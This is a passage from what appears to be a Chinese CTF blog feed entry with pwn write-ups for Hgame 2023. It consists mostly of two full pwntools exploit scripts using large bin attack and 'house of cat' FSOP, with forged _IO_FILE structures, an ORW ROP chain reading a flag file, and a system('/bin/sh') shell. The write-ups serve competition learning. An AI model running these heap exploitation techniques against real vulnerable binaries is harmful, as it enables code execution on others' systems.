cat在</strong>FSOP<strong>的情况下也是可行的，只需修改虚表指针的偏移来调用</strong>_IO_wfile_seekoff<strong>即可（通常是结合</strong>__malloc_assert**，改vtable为**_IO_wfile_jumps+0x10**）。</p><p>在本题中，伪造好IO结构体后，因为提供了<code>exit</code>函数，可以通过FSOP触发</p><p>exp：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># large bin attack   +   house of cat</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;week-3.hgame.lwsec.cn&#x27;,30421)</span></span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="comment">#largebin attack</span></span><br><span class="line">add(<span class="number">0</span>, <span class="number">0x608</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">0x508</span>)</span><br><span class="line">add(<span class="number">2</span>, <span class="number">0x5f8</span>)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">0x508</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libc</span></span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x1f6cc0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_IO_list_all = libcbase + libc.symbols[<span class="string">&#x27;_IO_list_all&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;_IO_list_all ===&gt; &#x27;</span>+<span class="built_in">hex</span>(_IO_list_all))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libc.symbols[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]))</span><br><span class="line"></span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x800</span>)</span><br><span class="line"><span class="comment">#泄露heapbase</span></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">io.recv(<span class="number">0x10</span>)</span><br><span class="line">heapbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x290</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(_IO_list_all-<span class="number">0x20</span>))</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">4</span>, <span class="number">0x800</span>)</span><br><span class="line"></span><br><span class="line">setcontext = libcbase + libc.symbols[<span class="string">&#x27;setcontext&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;setcontext+61 ===&gt; &#x27;</span>+<span class="built_in">hex</span>(setcontext+<span class="number">61</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#FSOP触发house of cat</span></span><br><span class="line">fake_io_addr=heapbase+<span class="number">0xdb0</span></span><br><span class="line">next_chain = <span class="number">0</span></span><br><span class="line">fake_IO_FILE=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">1</span>)+p64(<span class="number">2</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0xb0</span>)<span class="comment">#_IO_backup_base=setcontext_rdx</span></span><br><span class="line">fake_IO_FILE +=p64(setcontext+<span class="number">61</span>)<span class="comment">#_IO_save_end=call addr(call setcontext)</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x58</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">0</span>)  <span class="comment"># _chain</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x78</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(heapbase+<span class="number">0x1000</span>)  <span class="comment"># _lock = a writable address</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x90</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0x30</span>)<span class="comment">#_wide_data,rax1_addr</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xB0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">1</span>)  <span class="comment"># _mode = 1</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xC8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(libcbase+<span class="number">0x1f30a0</span>+<span class="number">0x30</span>)  <span class="comment"># vtable=IO_wfile_jumps+0x30</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x40</span>)  <span class="comment"># rax2_addr</span></span><br><span class="line"></span><br><span class="line">ret = libcbase + <span class="number">0x23ba6</span></span><br><span class="line">pop_rdi = libcbase + <span class="number">0x23ba5</span></span><br><span class="line">pop_rsi = libcbase + <span class="number">0x251fe</span></span><br><span class="line">pop_rdx_rbx = libcbase + <span class="number">0x8bbb9</span></span><br><span class="line">pop_rax = libcbase + <span class="number">0x3f923</span></span><br><span class="line">close = libcbase + libc.symbols[<span class="string">&#x27;close&#x27;</span>]</span><br><span class="line">syscall = libcbase + libc.symbols[<span class="string">&#x27;syscall&#x27;</span>]</span><br><span class="line">read = libcbase + libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">write = libcbase + libc.symbols[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">orw_addr = heapbase + <span class="number">0x2a0</span></span><br><span class="line">payload = fake_IO_FILE + p64(heapbase+<span class="number">0x4a0</span>)+p64(<span class="number">0</span>)*<span class="number">6</span> + p64(orw_addr) + p64(ret)</span><br><span class="line">edit(<span class="number">2</span>, payload)</span><br><span class="line"></span><br><span class="line">flag_addr = heapbase + <span class="number">0x4a0</span></span><br><span class="line">orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rax)+p64(<span class="number">2</span>)+p64(syscall+<span class="number">27</span>)</span><br><span class="line">orw+=p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(<span class="number">0x50</span>)+p64(<span class="number">0</span>)+p64(read)</span><br><span class="line">orw+=p64(pop_rdi)+p64(<span class="number">1</span>)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(<span class="number">0x50</span>)+p64(<span class="number">0</span>)+p64(write)</span><br><span class="line">edit(<span class="number">0</span>, orw.ljust(<span class="number">0x200</span>, <span class="string">b&#x27;\x00&#x27;</span>)+<span class="string">b&#x27;./flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">menu(<span class="number">5</span>)</span><br><span class="line"><span class="comment">#print(&#x27;DEBUG ==&gt; &#x27;+hex(setcontext+61))</span></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="4nswer’s-gift"><a href="#4nswer’s-gift" class="headerlink" title="4nswer’s gift"></a>4nswer’s gift</h4><p>看到题目描述给了内核版本，以为是内核题，差点就要直接题都不看了，附件下载完后发现还是个house of cat</p><p>没开canary，题目会直接告诉一个地址，在gdb里面看一下发现是<code>_IO_list_all</code>地址，并且程序结束时会把分配到的堆地址赋值到<code>_IO_list_all</code>位置，直接伪造<code>fake_IO_FILE</code>，没开沙箱，会自己调用<code>exit</code>函数，和上一题做法一样，甚至比上一题简单的多（或许是我上一题做复杂了</p><p>其中伪造时需要知道堆地址，但因为已知libc地址，且mmap分配堆和libc有固定偏移，所以直接malloc(-1)，然后gdb看下直接算下就知道fake_io_addr了</p><p>exp：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;week-4.hgame.lwsec.cn&#x27;,32461)</span></span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;b vuln&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">DEBUG()</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">libcbase = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)-<span class="number">0x1f7660</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">fake_io_addr = libcbase - <span class="number">0x100004000</span> + <span class="number">0x10</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;fake_io_addr ===&gt; &#x27;</span>+<span class="built_in">hex</span>(fake_io_addr))</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libcbase + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;sh\x00&#x27;</span>))</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;put into the gift?\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;-1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;put into the gitf?\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#FSOP触发house of cat直接getshell</span></span><br><span class="line">next_chain = <span class="number">0</span></span><br><span class="line">fake_IO_FILE=<span class="string">b&#x27;/bin/sh\x00&#x27;</span>+p64(<span class="number">0</span>)*<span class="number">7</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">1</span>)+p64(<span class="number">2</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0xb0</span>)<span class="comment">#_IO_backup_base=setcontext_rdx</span></span><br><span class="line">fake_IO_FILE +=p64(sys)<span class="comment">#_IO_save_end=call addr(call setcontext)</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">0</span>)  <span class="comment"># _chain</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x88</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x1000</span>)  <span class="comment"># _lock = a writable address</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0x30</span>)<span class="comment">#_wide_data,rax1_addr</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xc0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">1</span>)  <span class="comment"># _mode = 1</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xd8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(libcbase+<span class="number">0x1f30a0</span>+<span class="number">0x30</span>)  <span class="comment"># vtable=IO_wfile_jumps+0x30</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x40</span>)  <span class="comment"># rax2_addr</span></span><br><span class="line"></span><br><span class="line">io.send(fake_IO_FILE)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/01/15/CTFS-wp/Hgame%202023%20%E9%83%A8%E5%88%86wp/</id>
    <link href="https://staticccccccc.github.io/2024/01/15/CTFS-wp/Hgame%202023%20%E9%83%A8%E5%88%86wp/"/>
    <published>2024-01-15T13:00:00.000Z</published>
    <summary>浅AK一下新生赛</summary>
    <title>Hgame 2023 pwn部分wp</title>
    <updated>2024-01-15T13:00:00.000Z</updated>
  </entry>
</feed>
